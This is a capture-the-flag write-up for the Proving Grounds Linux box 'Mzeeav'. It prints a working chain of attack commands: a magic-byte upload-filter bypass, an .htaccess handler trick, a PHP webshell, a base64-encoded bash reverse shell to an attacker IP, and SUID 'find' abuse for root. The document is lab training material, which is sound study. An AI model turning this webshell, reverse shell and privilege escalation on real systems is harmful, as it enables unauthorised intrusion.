← all writeups
Proving Grounds (OffSec)

Mzeeav

Linux Medium

Proving Grounds · retired · 2026-08-20

Summary: A Debian box hosting a "file scanner" web app that only accepts uploads whose leading bytes look like a Windows PE — testing a magic-bytes upload-filter bypass and an .htaccess handler trick for a web foothold, followed by an extended-ACL directory grant and a SUID-binary GTFOBins abuse for the path to root.

file-uploadmagic-bytes-bypasshtaccessaclgtfobinssuid

Enumeration

nmap scan:

┌──(kali㉿kali)-[~/oscp/mzeeav]
└─$ nmap-full 192.168.117.33
[*] Running fast port discovery on 192.168.117.33...
[sudo] password for kali: 
[*] Open ports: 22,80
[*] Running full scan on 192.168.117.33...
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-20 15:27 -0400
Nmap scan report for 192.168.117.33
Host is up (0.034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: MZEE-AV - Check your files
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.40 seconds

Since we only have the webapp we can run a feroxbust:

404      GET        9l       31w      268c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       35l      137w     1321c http://target/listing.php
301      GET        9l       28w      301c http://target/upload => http://target/upload/
200      GET        1l        4w       22c http://target/upload.php
301      GET        9l       28w      302c http://target/backups => http://target/backups/
200      GET     1213l     7233w   601221c http://target/backups/backup.zip
200      GET       51l      152w     1482c http://target/
404      GET        0l        0w      268c http://target/sandbox

The listing.php shows:

List checked files:  
  
index.html - MD5: 01238cd7fc4a9f3c01dc6b51dbbce222 - seems to be clean!  
wget.exe - MD5: 41db24a16304419f48e79c1c878694ad - seems to be clean!  
whoami.exe - MD5: e4f1b4e581fb998977d4c9c9080d35f6 - seems to be clean!  
  

Check your PE-files with the online AV engine. [Home](http://target/index.html)

We can download the backup.zip from /backups/backup.zip

We can read the upload.php logic

─$ cat upload.php 
<?php

/* Get the name of the uploaded file */
$filename = $_FILES['file']['name'];

/* Choose where to save the uploaded file */
$tmp_location = "upload/file.tmp";
$location = "upload/".$filename;


/* Move the file temporary */
move_uploaded_file($_FILES['file']['tmp_name'], $tmp_location);



/* Check MagicBytes MZ PEFILE 4D5A*/
$F=fopen($tmp_location,"r");
$magic=fread($F,2);
fclose($F);
$magicbytes = strtoupper(substr(bin2hex($magic),0,4)); 
error_log(print_r("Magicbytes:" . $magicbytes, TRUE));

/* if its not a PEFILE block it - str_contains onlz php 8*/
//if ( ! (str_contains($magicbytes, '4D5A'))) {
if ( strpos($magicbytes, '4D5A') === false ) {
        echo "Error no valid PEFILE\n";
        error_log(print_r("No valid PEFILE", TRUE));
        error_log(print_r("MagicBytes:" . $magicbytes, TRUE));
        exit ();
}


rename($tmp_location, $location);



?>

The code effectively checks whether the first two bytes match 4D5A:

(str_contains(strtoupper(substr(bin2hex(fread(fopen($tmp_location,"r"),2)),0,4)), '4D5A'))

Foothold

This means we can attempt to upload a php webshell with these headers and potentially have it accepted by the site.

We can see from the accepted wget.exe binary (which we also retrieved from the backup.zip) an example of the leading bytes we want:

──(kali㉿kali)-[~/…/var/www/html/upload]
└─$ xxd wget.exe| head
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............

We will use this sed and xxd command to accomplish this:

xxd -p yourfile | sed 's/^/4d5a/' | xxd -r -p > tmpfile && mv tmpfile yourfile   

First we create a file with a php reverse shell:

<?php echo system($_GET['cmd']); ?>

We find that this worked:

┌──(kali㉿kali)-[~/oscp/mzeeav]
└─$ xxd -p wget.php | sed 's/^/4d5a/' | xxd -r -p > tmpfile && mv tmpfile wget.php   

┌──(kali㉿kali)-[~/oscp/mzeeav]
└─$ xxd wget.php | head
00000000: 4d5a 0a3c 3f70 6870 2065 6368 6f20 7379  MZ.<?php echo sy
00000010: 7374 656d 2824 5f47 4554 5b27 636d 6427  stem($_GET['cmd'
00000020: 5d29 3b20 3f3e 0a                        ]); ?>.

We can upload a php 8 .htaccess file with MZ prepended to it along with our wget.php webshell (also with MZ prepended).

┌──(kali㉿kali)-[~/oscp/mzeeav]
└─$ cat .htaccess 
MZ
AddHandler application/x-httpd-php80 .php .tmp .php8 .phtml .exe

┌──(kali㉿kali)-[~/oscp/mzeeav]
└─$ cat wget.php 
MZ
<?php echo system($_GET['cmd']); ?>

After that we can navigate to /upload/wget.php and pass our url encoded bash reverse shell in the ?cmd= parameter:

echo%20L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMTUxLzIyIDA%2BJjE%3D%20%7C%20base64%20-d%20%7C%20bash
curl http://192.168.117.33/upload/wget.php?cmd=echo%20L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMTUxLzIyIDA%2BJjE%3D%20|%20base64%20-d%20|%20bash

┌──(kali㉿kali)-[~/oscp/mzeeav]
└─$ sudo penelope -p 22
[sudo] password for kali: 
[+] Listening for reverse shells on 0.0.0.0:22 -> 127.0.0.1 • 10.0.2.15 • 192.168.45.151
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] [New Reverse Shell] => mzeeav 192.168.117.33 Linux-x86_64 👤 www-data(33) 😍️ Session ID <1>
[+] ⭐ Agent deployed via /usr/bin/python3
[+] Interacting with session [1] • PTY • Menu key F12 ⇐
[+] Session log: /home/kali/.penelope/sessions/mzeeav~192.168.117.33-Linux-x86_64/2026_08_20-16_43_40-134-www-data(33).log
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
www-data@mzeeav:/var/www/html/upload$ whoami
www-data

Privilege Escalation

Upon navigating to the /home directory we see avuser has drwxrwxr-x+ which means theres an extended access control list present.

www-data@mzeeav:/home$ getfacl avuser
# file: avuser
# owner: avuser
# group: avuser
user::rwx
user:www-data:rwx
group::r-x
mask::rwx
other::r-x

We see we have full read write over this directory from the acl

We gather the local.txt from avuser’s home directory.

Interesting findings: We find this file while listing SUIDs:

www-data@mzeeav:/opt$ ls -lah
total 312K
drwxr-xr-x  2 root root 4.0K Nov 14  2023 .
drwxr-xr-x 18 root root 4.0K Nov 13  2023 ..
---s--s--x  1 root root 304K Nov 14  2023 fileS

If we run —help on the mysterious file:

www-data@mzeeav:/opt$ ./fileS --help
Usage: ./fileS [-H] [-L] [-P] [-Olevel] [-D debugopts] [path...] [expression]

default path is the current directory; default expression is -print
expression may consist of: operators, options, tests, and actions:
operators (decreasing precedence; -and is implicit where no others are given):
      ( EXPR )   ! EXPR   -not EXPR   EXPR1 -a EXPR2   EXPR1 -and EXPR2
      EXPR1 -o EXPR2   EXPR1 -or EXPR2   EXPR1 , EXPR2
positional options (always true): -daystart -follow -regextype

normal options (always true, specified before other expressions):
      -depth --help -maxdepth LEVELS -mindepth LEVELS -mount -noleaf

If we lookup the output of this file we see that it matches with find binary.

Given that we know this is a SUID and find is a notorious gtfobin, we can look up find on gtfobins:

www-data@mzeeav:/opt$ ./fileS . -exec /bin/sh -p \; -quit
# whoami
root

We now have root and we have compromised the box. We can collect the proof.txt from the /root directory.